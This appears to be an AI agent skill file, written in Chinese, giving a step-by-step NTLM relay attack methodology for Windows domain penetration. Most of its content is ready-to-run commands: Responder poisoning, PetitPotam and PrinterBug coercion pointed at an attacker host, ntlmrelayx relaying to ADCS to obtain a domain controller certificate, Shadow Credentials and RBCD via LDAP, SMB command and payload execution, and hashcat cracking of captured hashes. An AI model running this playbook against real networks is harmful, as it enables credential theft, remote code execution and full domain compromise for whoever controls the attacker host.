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ntlm-relay-attack

DevOps & Security
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NTLM 中继攻击方法论。当目标网络存在 NTLM 认证、可以触发 SMB/HTTP 认证请求、或获取到 NetNTLM Hash 时使用。覆盖 Responder 毒化、ntlmrelayx 中继、打印机 Bug 强制认证、RBCD 中继、Shadow Credentials、ADCS 中继。任何涉及 NTLM、Relay、Responder、中继攻击的场景都应使用此技能

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NTLM 中继攻击方法论

NTLM Relay 是域渗透最强大的横向移动技术之一——不需要破解密码,直接将认证请求转发到其他服务器获取访问权限。

⛔ 深入参考(必读)


核心概念

NTLM Relay 三要素:

  1. 触发器(Trigger):让目标机器/用户向攻击者发起 NTLM 认证
  2. 中继器(Relay):将收到的认证请求转发到目标服务
  3. 目标(Target):接受中继认证的服务器

前提条件:目标服务没有启用 SMB 签名(SMB Signing)或 EPA(Extended Protection for Authentication)。

Phase 1: 环境侦察

1.1 检查 SMB 签名

# SMB 签名未强制 = 可中继
netexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
# 输出没有 signing:True 的主机

# 或用 nmap
nmap -p 445 --script smb2-security-mode 10.0.0.0/24
# "Message signing enabled but not required" = 可中继

1.2 检查 ADCS Web Enrollment

# ADCS HTTP 端点通常无 EPA → 可中继
netexec ldap DC_IP -u USER -p PASS -M adcs
# 列出 CA 服务器和模板

# 或直接访问
curl -sk https://CA_SERVER/certsrv/

Phase 2: 攻击决策树

有什么条件?
├─ 在内网且有网络接口 → Responder 毒化(被动收集 Hash / 主动中继)
├─ 有域凭据 → 强制认证(PetitPotam/PrinterBug)→ 中继
├─ 目标有 ADCS Web Enrollment → 中继到 ADCS 获取证书 → 域控
├─ 目标关闭 SMB 签名 → 中继到 SMB/LDAP
│   ├─ 中继到 LDAP → RBCD / Shadow Credentials
│   └─ 中继到 SMB → 命令执行
└─ 拿到 NetNTLM Hash 但无法中继 → hashcat 离线破解
详细命令 → [references/relay-techniques.md](references/relay-techniques.md)

Phase 3: Responder 毒化

# 启动 Responder(关闭 SMB/HTTP 以便 ntlmrelayx 接管)
responder -I eth0 -dwPv

# 或只抓 Hash 不中继
responder -I eth0 -dwPv
# 抓到的 NetNTLMv2 Hash → hashcat -m 5600 破解

Phase 4: 强制认证(Coercion)

# PetitPotam(最常用,利用 EfsRpcOpenFileRaw)
python3 PetitPotam.py ATTACKER_IP DC_IP
python3 PetitPotam.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP

# PrinterBug(MS-RPRN)
python3 dementor.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
# 或
python3 printerbug.py DOMAIN/USER:PASS@DC_IP ATTACKER_IP

# DFSCoerce
python3 dfscoerce.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP

Phase 5: 中继到不同目标

中继到 ADCS(获取域控证书 → 域管)

# 最强路径:PetitPotam + ADCS = 域控
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# 触发认证
python3 PetitPotam.py ATTACKER_IP DC_IP

# 获得证书后 → 申请 TGT
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 得到域控 NTLM Hash → DCSync

中继到 LDAP(RBCD / Shadow Credentials)

# Shadow Credentials(推荐,不需要创建计算机账户)
ntlmrelayx.py -t ldaps://DC_IP --shadow-credentials --shadow-target DC_HOSTNAME$

# RBCD
ntlmrelayx.py -t ldaps://DC_IP --delegate-access --escalate-user MACHINE$

中继到 SMB

ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami"
ntlmrelayx.py -tf relay_targets.txt -smb2support -e payload.exe

→ 完整中继技术细节 → references/relay-techniques.md

工具速查

工具用途
ResponderLLMNR/NBT-NS/mDNS 毒化
ntlmrelayx.pyNTLM 中继核心
PetitPotamEFS 强制认证
printerbug.py打印机强制认证
certipyADCS 证书攻击
hashcat -m 5600NetNTLMv2 破解